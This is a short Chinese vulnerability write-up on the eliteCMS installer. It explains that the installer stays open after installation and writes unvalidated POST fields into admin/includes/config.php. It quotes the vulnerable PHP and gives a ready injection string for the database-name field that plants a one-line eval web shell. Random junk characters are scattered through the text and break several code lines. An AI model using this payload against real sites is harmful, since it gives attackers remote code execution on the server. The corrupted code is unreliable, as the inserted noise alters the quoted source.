eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
' L6 }$ Y5 G, q" V( @! t3 ?
3 L; j5 A. t; w/ l- e8 V5 U另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
' u! h* M. x- j1 c% w我们来看代码:5 W; g; f$ l) L5 L) h
' I# J x8 p5 p$ l8 }...8 D( o9 i4 `' `8 O/ t" q
elseif ($_GET['step'] == "4") {
- o% ?- d# B/ x! r9 _: }7 ` $file = "../admin/includes/config.php";" W8 o) z& K1 K, k! U @" @
$write = "<?php\n";% J( x& d' ^9 C: _; `; ]% i* f
$write .= "/**\n";+ \, }- C! K3 f5 k2 C6 \
$write .= "*\n";
5 M! M$ O0 A7 x $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";! H/ M) c2 o8 v# r% G; e
...略...; w( D! h; T3 V8 v, [8 X" D
$write .= "*\n";$ k- a; }( Z0 e$ G r$ l1 E
$write .= "*/\n";0 R$ W# r1 b3 E* ?6 b& H6 Y3 h
$write .= "\n";3 f; a6 l( i1 W
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
) R. c N: c. N5 d+ t8 r5 m $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";& ~" s x3 D( ?4 |. e% m
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";/ {% ?8 I$ I/ n, z% B. C! T4 S, b8 X
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
i2 Y4 B; F$ M$ ^ $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
" @9 ?; j/ w8 | $write .= "if (!\$connection) {\n";
- }6 V- d! r8 _# P8 ? $write .= " die(\"Database connection failed\" .mysql_error());\n";- ?- Z3 \ R8 o9 |0 t# N
$write .= " \n";
+ h* O6 D( `, V& d) L* K A $write .= "} \n";* U# z8 y3 o* c: p& w* p/ S
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";9 }4 G) q2 p2 j: P# L( A
$write .= "if (!\$db_select) {\n";
: z# G, |" L( a6 Q2 z $write .= " die(\"Database select failed\" .mysql_error());\n";; ^& ~. w# U' i7 p9 v# W2 m2 q0 k
$write .= " \n";( [9 G0 v5 x# i; j, u
$write .= "} \n";+ q0 n$ c# T8 ^ @
$write .= "?>\n";# `0 e* W! B- A( G4 M( m
' m U5 W1 ]6 X; k- R% S $writer = fopen($file, 'w');7 G o* O1 c# z1 y/ e' R, p- U& K% m
...
- G9 u( w! v0 j. w4 j' b
. S1 v& M" \- e% G9 Y在看代码:
( |) J5 J- m/ q K5 M+ O1 U
/ r4 }) o3 E5 }$ T( ?$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];$ D/ Y' P+ ~0 H! n$ F* a
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
/ `# s( \% m3 r$_SESSION['DB_USER'] = $_POST['DB_USER'];
7 Q. L. p: Y7 b" z% V$ z$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
h9 m% |' G; W& @# c
9 W# q0 X/ h$ z8 a" A! _取值未作任何验证
% b L, w% X7 o5 y W% I6 Z如果将数据库名POST数据:4 N" D& [3 Q: V& E$ H4 J, Q/ @2 ^
4 [; q+ {$ M& D, g$ a"?><?php eval($_POST[c]);?><?php+ {+ V" z$ E- A; y$ O. v0 y5 ?
! v* e- M/ D! W将导致一句话后门写入/admin/includes/config.php
2 `! r( }) Q! d3 B( T. n |